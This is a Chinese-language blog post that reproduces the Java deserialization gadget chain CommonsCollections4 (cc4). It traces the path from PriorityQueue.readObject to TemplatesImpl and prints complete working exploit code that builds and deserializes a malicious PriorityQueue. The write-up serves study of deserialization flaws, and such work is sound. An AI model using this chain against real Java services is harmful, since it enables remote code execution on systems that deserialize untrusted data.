首页 > 编程语言 >java 反序列化 cc4 复现

java 反序列化 cc4 复现

时间:2024-11-14 19:56:34浏览次数:1  
标签:java collections4 cc4 new apache org import 序列化

复现环境:jdk<=8u65,commonsCollections=4.0
CommonsCollections4.x版本移除了InvokerTransformer类不再继承Serializable,导致无法序列化.但是提供了TransformingComparator为CommonsCollections3.x所没有的,又带来了新的反序列化危险.
cc4的执行命令部分依然沿用cc3的TemplatesImpl,而是对ChainedTransfromer后面的部分进行了修改,需要找一个新的出口去触发transform方法.

出口链子分析

发现TransformingComparator.compare能够触发transform方法

public int compare(final I obj1, final I obj2) {  
    final O value1 = this.transformer.transform(obj1);  
    final O value2 = this.transformer.transform(obj2);  
    return this.decorated.compare(value1, value2);  
}

查找引用
image

一般来说,反序列化的出口一般是集合类或是能够容纳Object对象且继承自Serializable类的.这里是出现在了PriorityQueue类.

PriorityQueue

看这个siftDownUsingComparator方法:

private void siftDownUsingComparator(int k, E x) {  
    int half = size >>> 1;  
    while (k < half) {  
        int child = (k << 1) + 1;  
        Object c = queue[child];  
        int right = child + 1;  
        if (right < size &&  
            comparator.compare((E) c, (E) queue[right]) > 0)  
            c = queue[child = right];  
        if (comparator.compare(x, (E) c) <= 0)  
            break;  
        queue[k] = c;  
        k = child;  
    }  
    queue[k] = x;  
}

可以看到调用了comparatorcompare方法.而siftDownUsingComparatorsiftDown中被调用.

private void siftDown(int k, E x) {  
    if (comparator != null)  
        siftDownUsingComparator(k, x);  
    else  
        siftDownComparable(k, x);  
}

查找一下comparator的定义如下

private final Comparator<? super E> comparator;

然而这个siftDown还是私有方法,也没被readObject调用,依然要往上找.
image

找到了heapify方法

private void heapify() {  
    for (int i = (size >>> 1) - 1; i >= 0; i--)  
        siftDown(i, (E) queue[i]);  
}

这个方法被readObject调用了
image

看到这个readObject的逻辑较为简单,比较欣慰

private void readObject(java.io.ObjectInputStream s)  
    throws java.io.IOException, ClassNotFoundException {  
    // Read in size, and any hidden stuff  
    s.defaultReadObject();  
  
    // Read in (and discard) array length  
    s.readInt();  
  
    queue = new Object[size];  
  
    // Read in all elements.  
    for (int i = 0; i < size; i++)  
        queue[i] = s.readObject();  
  
    // Elements are guaranteed to be in "proper order", but the  
    // spec has never explained what that might be.    
    heapify();  
}

因此我们写出一个利用脚本.

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.InstantiateTransformer;  
import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.*;  
  
import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
import org.apache.commons.collections4.map.TransformedMap;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationTargetException;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class<?> clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");  
  
        Field field2 = clazz.getDeclaredField("_bytecodes");  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        Field field3 = clazz.getDeclaredField("_tfactory");  
        field3.setAccessible(true);  
        field3.set(templatesimpl, new TransformerFactoryImpl());  
  
        ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  
        InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
        Transformer[] transformers = {ct, it};  
  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);  
        PriorityQueue pq = new PriorityQueue<>(transformingComparator);  
        serial(pq);  
        unserial();  
    }  
  
    public static void serial(Object obj) throws IOException {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws IOException, ClassNotFoundException {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}

然而跑起来没有弹计算器.断点调试一下,发现下面的问题.在这里要求i>=0才能进入循环,然而此处(size >>> 1) - 1的值为-1,无法触发siftDown.
image

size至少为2才行,使用反射修改size,成功弹出计算器

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.InstantiateTransformer;  
import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.*;  
  
import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
import org.apache.commons.collections4.map.TransformedMap;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationTargetException;  
import java.util.HashMap;  
import java.util.Map;  
  
public class Main {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templatesimpl = new TemplatesImpl();  
  
        Class<?> clazz = templatesimpl.getClass();  
        Field field = clazz.getDeclaredField("_name");  
        field.setAccessible(true);  
        field.set(templatesimpl, "test");  
  
        Field field2 = clazz.getDeclaredField("_bytecodes");  
        field2.setAccessible(true);  
        byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));  
        byte[][] codes = {code};  
        field2.set(templatesimpl, codes);  
  
        Field field3 = clazz.getDeclaredField("_tfactory");  
        field3.setAccessible(true);  
        field3.set(templatesimpl, new TransformerFactoryImpl());  
  
        ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);  
        InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});  
        Transformer[] transformers = {ct, it};  
  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
  
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);  
        PriorityQueue pq = new PriorityQueue<>(transformingComparator);  
  
        Class clazz1 = pq.getClass();  
        Field field1 = clazz1.getDeclaredField("size");  
        field1.setAccessible(true);  
        field1.set(pq, 2);  
  
        serial(pq);  
        unserial();  
    }  
  
    public static void serial(Object obj) throws IOException {  
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  
        out.writeObject(obj);  
    }  
  
    public static void unserial() throws IOException, ClassNotFoundException {  
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  
        in.readObject();  
    }  
}

这里我看的教程因为是使用add去添加元素去赋值从而修改size,导致出现了一串问题.而我直接反射修改size就没有问题.
总结出反序列化链子如下

Gadget chain:
PriorityQueue.readObject()
    PriorityQueue.heapify()  
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                TransformingComparator.compare()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                            TemplatesImpl.newTransformer()
                                TemplatesImpl.getTransletInstance()
                                    TemplatesImpl.defineTransletClasses()
                                        TemplatesImpl.defineClass()

标签:java,collections4,cc4,new,apache,org,import,序列化
From: https://www.cnblogs.com/meraklbz/p/18546682

相关文章

  • [原创]手把手教学之前端0基础到就业——day11( Javascript )
    文章目录day11(Javascript)01Javascript①Javascript是什么②JavaScript组成③Javascript的书写位置1.行内式(不推荐)2.内部位置使用(内嵌式)3.外部位置使用(外链式)02变量1.什么是变量2.定义变量及赋值3.注意事项4.命名规范03输入和输出1)输出形式1......
  • java API
     API(ApplicationProgrammingInterface)是指应用程序的编程接口。字符串类Java中定义了3个封装字符串的类,分别是String类、StringBuffer类、StringBuilder类,它们位于Java.lang包中,并提供了一系列操作字符串的方法,这些方法不需要导包就可以直接使用。1.1String的初始化......
  • python+vue基于django/flask新农村综合风貌展示平台java+nodejs+php-计算机毕业设计
    目录技术栈和环境说明具体实现截图预期达到的目标系统设计详细视频演示技术路线解决的思路性能/安全/负载方面可行性分析论证python-flask核心代码部分展示python-django核心代码部分展示研究方法感恩大学老师和同学源码获取技术栈和环境说明本系统以Python开发语言......
  • java的算法-余弦相似度
    背景:做过财务系统的小伙伴们都知道,财务系统会有一个自动计费的算法,这个算法依赖于计费模板,之前的同事呢把计费公式乱写(导致很多重复的公式),虽然计费名称不一样但是计费公式却是一样的,今天就写一个算法来计算公式代码之间的相似度publicstaticvoidmain(String[]args){......
  • java学习记录06
    正则表达式匹配规则对于正则表达式来说,它只能精确匹配字符串。例如:正则表达式“abc",只能匹配”abc",不能匹配“ab","Abc","abcd"等其他字符串。如果想匹配非ASCII字符,例如中文,那么就用\u####的十六进制表示,例如:a\u548cc匹配的是字符串"a和c",中文字符和的Unicode编码是548c......
  • java学习记录05
    Object类通用方法Object类是所有类的超类。如果在类声明中没有使用extends关键字明确指定超类,那么默认的超类就是Object类。这就意味着所有的对象(包括数组)都实现了该类的方法。Object的所有方法native表示这个方法的实现是由其他语言(例如C或C++)编写的,它并不在Java源代码中......
  • 深入理解 Kubernetes 中的 Service、Ingress 和 NginxIngress:如何配置多个域名访问 Ja
    个人名片......
  • Java方法(四)
    设计方法原则:本意为功能块,是实现某个功能语句块的结合,设计方法时保持原子性(一个方法完成一个功能)publicclassoperator{publicstaticvoidmain(String[]args){intsum=add(1,3);System.out.println(sum);}//加法publicstaticint......
  • java类加载中的双亲委派机制
    ​ 双亲委派机制的优点: 同样的类不会被重复加载。 一、概述:类加载器:类加载器用于加载 .class字节码文件到内存中(并为每个.class字节码文件生成 Class对象)。 二、四种类加载器介绍:​编辑  2.1.启动类加载器(BootstrapClassLoader): 用于加载jdk的核......
  • 代码随想录算法训练营第三十天| 452. 用最少数量的箭引爆气球 、435. 无重叠区间 、76
    452.用最少数量的箭引爆气球思路:以前做过最大不相交子序列的题,这次也是往这根据某一端排序的思路想的,排序后如下图,只需要维护一个公共序列的右边界r就可以了,下一次判断时,只需要判断子区间的左边是否小于r。这个题有点坑的是使用Arrays排序,如果使用昨天的方法:Arra......